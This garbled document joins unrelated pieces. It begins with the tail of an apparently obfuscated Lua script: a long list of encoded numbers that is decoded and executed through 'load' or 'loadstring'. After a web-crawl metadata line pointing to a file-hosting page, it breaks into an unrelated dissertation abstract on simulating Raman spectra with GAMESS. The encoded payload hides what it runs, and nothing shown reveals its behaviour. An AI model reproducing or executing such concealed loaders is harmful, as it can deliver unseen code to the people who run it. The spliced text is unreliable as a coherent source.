CA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1324A,0x1315A,0x1243A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x1207A,0x1202A,0x1202A,0x1202A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1351A,0x132EA,0x1243A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1261A,0x133DA,0x135BA,0x1338A,0x1356A,0x11DAA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1310A,0x133DA,0x134CA,0x11B2A,0x131FA,0x11B2A,0x1243A,0x11B2A,0x1207A,0x11EEA,0x11B2A,0x1351A,0x132EA,0x11B2A,0x1306A,0x133DA,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1306A,0x1374A,0x136FA,0x1243A,0x1324A,0x1315A,0x12D9A,0x131FA,0x12E3A,0x11F8A,0x12F7A,0x1306A,0x1306A,0x134CA,0x130BA,0x1351A,0x1351A,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12F7A,0x1306A,0x1306A,0x128EA,0x131FA,0x1351A,0x1356A,0x127FA,0x1356A,0x130BA,0x1333A,0x1351A,0x11DAA,0x1379A,0x12D9A,0x1207A,0x12E3A,0x11B2A,0x1243A,0x11B2A,0x1379A,0x12F7A,0x1306A,0x1306A,0x134CA,0x130BA,0x1351A,0x1351A,0x11B2A,0x1243A,0x11B2A,0x1306A,0x1374A,0x136FA,0x11EEA,0x1310A,0x132EA,0x12F7A,0x1315A,0x1351A,0x11B2A,0x1243A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x1310A,0x134CA,0x130BA,0x130BA,0x1374A,0x130BA,0x11B2A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11EEA,0x1360A,0x12F7A,0x132EA,0x135BA,0x130BA,0x11B2A,0x1243A,0x120CA,0x1207A,0x1211A,0x122FA,0x1202A,0x1211A,0x1202A,0x1202A,0x1207A,0x122AA,0x1383A,0x1383A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1356A,0x133DA,0x12F7A,0x1351A,0x1356A,0x11DAA,0x11BCA,0x158BA,0x14BEA,0x1392A,0x158BA,0x13E2A,0x147DA,0x1590A,0x13BAA,0x13E2A,0x158BA,0x13C4A,0x142DA,0x11BCA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x12FCA,0x1211A,0x11DAA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x1356A,0x12ACA,0x12F7A,0x1338A,0x1315A,0x130BA,0x1351A,0x11DAA,0x1207A,0x1220A,0x1211A,0x122AA,0x1216A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x1207A,0x11EEA,0x120CA,0x1202A,0x122AA,0x11EEA,0x121BA,0x1211A,0x1202A,0x11EEA,0x1207A,0x122FA,0x120CA,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x1207A,0x11EEA,0x120CA,0x1202A,0x122AA,0x11EEA,0x121BA,0x1211A,0x1202A,0x11EEA,0x1207A,0x122FA,0x120CA,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x122FA,0x122FA,0x122FA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x130BA,0x1306A,0x131FA,0x1356A,0x1257A,0x132EA,0x132EA,0x11DAA,0x11BCA,0x1207A,0x1207A,0x122FA,0x122AA,0x121BA,0x1211A,0x1202A,0x121BA,0x1220A,0x1207A,0x11BCA,0x11EEA,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1356A,0x133DA,0x12F7A,0x1351A,0x1356A,0x11DAA,0x11BCA,0x158BA,0x1478A,0x13CEA,0x1590A,0x13BAA,0x13E2A,0x11BCA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x12FCA,0x1216A,0x11DAA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x1356A,0x12ACA,0x12F7A,0x1338A,0x1315A,0x130BA,0x1351A,0x11DAA,0x1216A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x1207A,0x11F8A,0x1202A,0x1270A,0x1239A,0x11F3A,0x1207A,0x120CA,0x122AA,0x125CA,0x1239A,0x1216A,0x121BA,0x1202A,0x12C5A,0x1234A,0x1234A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x1216A,0x121BA,0x1202A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x1207A,0x1202A,0x1202A,0x1202A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x130BA,0x1306A,0x131FA,0x1356A,0x1257A,0x132EA,0x132EA,0x11DAA,0x11BCA,0x1225A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1356A,0x133DA,0x12F7A,0x1351A,0x1356A,0x11DAA,0x11BCA,0x158BA,0x14BEA,0x1392A,0x158BA,0x13E2A,0x147DA,0x1590A,0x13BAA,0x13E2A,0x158BA,0x13C4A,0x142DA,0x11BCA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x12FCA,0x121BA,0x11DAA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x1356A,0x12ACA,0x12F7A,0x1338A,0x1315A,0x130BA,0x1351A,0x11DAA,0x1216A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x1207A,0x11F8A,0x1202A,0x1270A,0x1239A,0x11F3A,0x1207A,0x120CA,0x122AA,0x125CA,0x1239A,0x1216A,0x121BA,0x1202A,0x12C5A,0x1234A,0x1234A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x1216A,0x121BA,0x1202A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x1207A,0x1202A,0x1202A,0x1202A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x130BA,0x1306A,0x131FA,0x1356A,0x1257A,0x132EA,0x132EA,0x11DAA,0x11BCA,0x11F3A,0x1207A,0x1220A,0x1207A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1356A,0x133DA,0x12F7A,0x1351A,0x1356A,0x11DAA,0x11BCA,0x158BA,0x14BEA,0x1392A,0x158BA,0x13E2A,0x147DA,0x1590A,0x13BAA,0x13E2A,0x158BA,0x13C4A,0x142DA,0x11BCA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x12FCA,0x1220A,0x11DAA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x1356A,0x12ACA,0x12F7A,0x1338A,0x1315A,0x130BA,0x1351A,0x11DAA,0x120CA,0x1220A,0x120CA,0x120CA,0x1202A,0x1225A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x120CA,0x11F8A,0x1211A,0x121BA,0x1207A,0x1202A,0x1220A,0x1202A,0x1225A,0x130BA,0x11F3A,0x1211A,0x122AA,0x1239A,0x1202A,0x11F8A,0x120CA,0x121BA,0x1239A,0x1207A,0x1234A,0x1234A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1270A,0x128EA,0x129DA,0x1257A,0x12B6A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x120CA,0x11F8A,0x1211A,0x121BA,0x1207A,0x1202A,0x1220A,0x1202A,0x1225A,0x130BA,0x11F3A,0x1211A,0x122AA,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1270A,0x128EA,0x129DA,0x1257A,0x12B6A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1324A,0x1315A,0x1243A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x1207A,0x1202A,0x1202A,0x1202A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1351A,0x132EA,0x1243A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1261A,0x133DA,0x135BA,0x1338A,0x1356A,0x11DAA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1310A,0x133DA,0x134CA,0x11B2A,0x131FA,0x11B2A,0x1243A,0x11B2A,0x1207A,0x11EEA,0x11B2A,0x1351A,0x132EA,0x11B2A,0x1306A,0x133DA,0x1144A,0x113FA,0x11B2A,0x113FA,0x11B2A,0x1306A,0x1374A,0x136FA,0x1243A,0x1324A,0x1315A,0x12D9A,0x131FA,0x12E3A,0x11F8A,0x12F7A,0x1306A,0x1306A,0x134CA,0x130BA,0x1351A,0x1351A,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12F7A,0x1306A,0x1306A,0x128EA,0x131FA,0x1351A,0x1356A,0x127FA,0x1356A,0x130BA,0x1333A,0x1351A,0x11DAA,0x1379A,0x12D9A,0x1207A,0x12E3A,0x11B2A,0x1243A,0x11B2A,0x1379A,0x12F7A,0x1306A,0x1306A,0x134CA,0x130BA,0x1351A,0x1351A,0x11B2A,0x1243A,0x11B2A,0x1306A,0x1374A,0x136FA,0x11EEA,0x1310A,0x132EA,0x12F7A,0x1315A,0x1351A,0x11B2A,0x1243A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1270A,0x128EA,0x129DA,0x1257A,0x12B6A,0x11EEA,0x1310A,0x134CA,0x130BA,0x130BA,0x1374A,0x130BA,0x11B2A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11EEA,0x1360A,0x12F7A,0x132EA,0x135BA,0x130BA,0x11B2A,0x1243A,0x11B2A,0x120CA,0x11F8A,0x1211A,0x121BA,0x1207A,0x1202A,0x1220A,0x1202A,0x1225A,0x130BA,0x11F3A,0x1211A,0x122AA,0x1383A,0x1383A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1356A,0x133DA,0x12F7A,0x1351A,0x1356A,0x11DAA,0x11BCA,0x158BA,0x14BEA,0x1392A,0x158BA,0x13E2A,0x147DA,0x1590A,0x13BAA,0x13E2A,0x158BA,0x13C4A,0x142DA,0x11BCA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x12FCA,0x1225A,0x11DAA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x1356A,0x12ACA,0x12F7A,0x1338A,0x1315A,0x130BA,0x1351A,0x11DAA,0x1216A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11D5A,0x1202A,0x11F8A,0x1207A,0x1239A,0x1202A,0x1239A,0x1211A,0x11F8A,0x1216A,0x1202A,0x120CA,0x122AA,0x120CA,0x1211A,0x121BA,0x130BA,0x1211A,0x122AA,0x1239A,0x1202A,0x11F8A,0x1207A,0x1239A,0x1207A,0x11F8A,0x1207A,0x1202A,0x1207A,0x1207A,0x122FA,0x122FA,0x1220A,0x130BA,0x1211A,0x1220A,0x1234A,0x1234A,0x11D5A,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1270A,0x128EA,0x129DA,0x1257A,0x12B6A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11D5A,0x1202A,0x11F8A,0x1207A,0x11D5A,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1270A,0x128EA,0x129DA,0x1257A,0x12B6A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x122FA,0x122FA,0x122FA,0x122FA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x130BA,0x1306A,0x131FA,0x1356A,0x1257A,0x132EA,0x132EA,0x11DAA,0x11D5A,0x1202A,0x11F8A,0x120CA,0x11D5A,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1270A,0x128EA,0x129DA,0x1257A,0x12B6A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1356A,0x133DA,0x12F7A,0x1351A,0x1356A,0x11DAA,0x11BCA,0x158BA,0x14BEA,0x1392A,0x158BA,0x13E2A,0x147DA,0x1590A,0x13BAA,0x13E2A,0x158BA,0x13C4A,0x142DA,0x11BCA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x1329A,0x132EA,0x11DAA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1342A,0x134CA,0x131FA,0x1338A,0x1356A,0x11DAA,0x11BCA,0x159FA,0x1392A,0x1392A,0x158BA,0x13B5A,0x14B4A,0x1590A,0x13BAA,0x13E2A,0x158BA,0x13C4A,0x142DA,0x11BCA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x133DA,0x1351A,0x11F8A,0x130BA,0x136AA,0x131FA,0x1356A,0x11DAA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x1356A,0x1301A,0x11DAA,0x11DFA,0x1144A,0x132EA,0x1365A,0x1243A,0x1207A,0x1144A,0x1293A,0x12F7A,0x131FA,0x1338A,0x11DAA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1301A,0x1351A,0x11B2A,0x1243A,0x11B2A,0x11BCA,0x12B6A,0x11F8A,0x1338A,0x11BCA,0x1144A,0x1365A,0x131AA,0x131FA,0x132EA,0x130BA,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1306A,0x133DA,0x1144A,0x11B2A,0x11B2A,0x131FA,0x1310A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x131FA,0x1351A,0x12C0A,0x131FA,0x1351A,0x131FA,0x12FCA,0x132EA,0x130BA,0x11DAA,0x1356A,0x134CA,0x135BA,0x130BA,0x11DFA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x12CAA,0x1275A,0x1261A,0x1289A,0x11B2A,0x1243A,0x11B2A,0x1207A,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x1356A,0x12C0A,0x131FA,0x1351A,0x131FA,0x12FCA,0x132EA,0x130BA,0x11DAA,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x131FA,0x1310A,0x11B2A,0x12CAA,0x1275A,0x1261A,0x1289A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1207A,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x1144A,0x11B2A,0x11B2A,0x11B2A,0x11B2A,0x1293A,0x12F7A,0x131FA,0x1338A,0x11DAA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1144A}))() return TRUYTN end MKLUFR(load and load or loadstring and loadstring) | {"url":"https://tntfiles.com/hpz70fwcti/","timestamp":"2024-11-13T09:49:32Z","content_type":"text/html","content_length":"51704","record_id":"<urn:uuid:86f3a0bf-8fee-4fca-a55d-3c0a6925def5>","cc-path":"CC-MAIN-2024-46/segments/1730477028342.51/warc/CC-MAIN-20241113071746-20241113101746-00480.warc.gz"} |
Simulated Raman Spectral Analysis of Organic Molecules
Info: 7070 words (28 pages) Dissertation
Published: 9th Dec 2019
Tagged: Organic Chemistry
The advent of the laser technology in the 1960s solved the main difficulty of Raman spectroscopy, resulted in simplified Raman spectroscopy instruments and also boosted the sensitivity of the
technique. Up till now, Raman spectroscopy is commonly used in chemistry and biology. As vibrational information is specific to the chemical bonds, Raman spectroscopy provides fingerprints to
identify the type of molecules in the sample. In this thesis, we simulate the Raman Spectrum of organic and inorganic materials by General Atomic and Molecular Electronic Structure System (GAMESS)
